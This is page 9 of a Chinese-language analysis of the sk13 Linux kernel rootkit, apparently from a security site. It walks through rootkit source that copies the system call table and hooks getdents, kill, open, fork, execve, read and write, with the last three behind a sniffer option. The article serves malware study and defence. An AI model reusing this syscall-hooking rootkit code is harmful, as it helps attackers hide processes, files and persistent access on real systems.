首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>病毒分析>文章内容
Linux后门系列--由浅入深sk13完全分析
来源:http://xsec.org 作者:wzt 发布时间:2009-05-04  

    | 新的sys_call_table的数组 |             |            |   000000--------------000000|
    +------------------------------------------------------------------------------------


    memset(mem + SCT_TABSIZE + ksize, 0, PID_TABSIZE);

    /* 保存老的sys_call_table指针 ,pidtab指向mem + SCT_TABSIZE + ksize内存区域 */

       *oldsct() = (ulong) sct;
       *pidtab() = (void *) (mem + SCT_TABSIZE + ksize);

    /* 将老的sys_call_table的数组内容保存到mem开始出,这样newsct就保存了原sys_call_table的全部内容 */

       memcpy(mem, sct, SCT_TABSIZE);

    /*
        下面就是修改系统调用指针入口来hook系统调用了

        hook(OURCALL); 是一个宏调用

        #define    hook(name)    \
       newsct[__NR_##name] = ((ulong) new_##name -    \
                  (ulong) kernel_start) +    \
                  (ulong) mem + SCT_TABSIZE;

        这样hook(OURCALL);就被展开为:

        newsct[__NR_OURCALL] = ( (ulong) new_OURCALL - (ulong) kernel_start ) + (ulong)mem + SCT_TABSIZE;

        sk.h中OURCALL被定义为:
        #define    OURCALL oldolduname

        newsct[__NR_oldolduname] = ( (ulong) new_oldolduname - (ulong) kernel_start ) + (ulong)mem + SCT_TABSIZE;

        在看内存示意图

    mem                    kernel_start kernel_init kernel_end
    |                          |             |            |
    V ------> 256 * 4 <--------V             V            V   ----->512*sizeof(pid_struc)
    +------------------------------------------------------------------------------------
    | 新的sys_call_table的数组 |      |      |            |   000000--------------000000|
    +------------------------------------------------------------------------------------
           ^                         ^
           |                         |
      oldolduname<------------new_oldolduname

    用kernel.c中的new_oldolduname来指向原来的oldolduname

    注意:oldsctp(),*oldsct(),*pidtab() 这3个函数的内存大小是怎么分配的,请看对kernel.c的分析

    */

       hook(OURCALL);
       hook(clone);
       hook(fork);
       hook(vfork);
       hook(getdents);
       hook(getdents64);

       hook(kill);
       hook(open);
       hook(close);
    #ifdef SNIFFER
       hook(read);
       hook(write);
    #endif
    #ifdef SNIFFER
       hook(execve);
    #endif
    #ifdef INITSTUFF
       hook(utime);
       hook(oldstat);
共11页: 上一页 [1] [2] [3] [4] [5] [6] [7] [8] 9 [10] [11] 下一页
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·Word溢出Shellcode分析
·浅谈反病毒技术的前世今生
·Ie0dayCVE0806.c 变种网马样本分
·Web应用漏洞的大规模攻击案例分
·Ie0dayCVE0806网马样本分析
·Witty病毒通过ISS的防火墙产品和
·酷狗音乐首页隐蔽挂马详细分析+7
·Net-Worm.Win32.Dasher(黛蛇)蠕
·熊猫烧香病毒分析与解决方案
·卡巴斯基(AVP)内存驻留型病毒检
·104种木马手工清除方法
·avserve病毒初步分析
  相关文章
·Word溢出Shellcode分析
·酷狗音乐首页隐蔽挂马详细分析+7
·熊猫烧香病毒分析与解决方案
·Ie0dayCVE0806网马样本分析
·Ie0dayCVE0806.c 变种网马样本分
·卡巴斯基(AVP)内存驻留型病毒检
·Net-Worm.Win32.Dasher(黛蛇)蠕
·浅谈反病毒技术的前世今生
·avserve病毒初步分析
·Witty病毒通过ISS的防火墙产品和
·104种木马手工清除方法
·Web应用漏洞的大规模攻击案例分
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved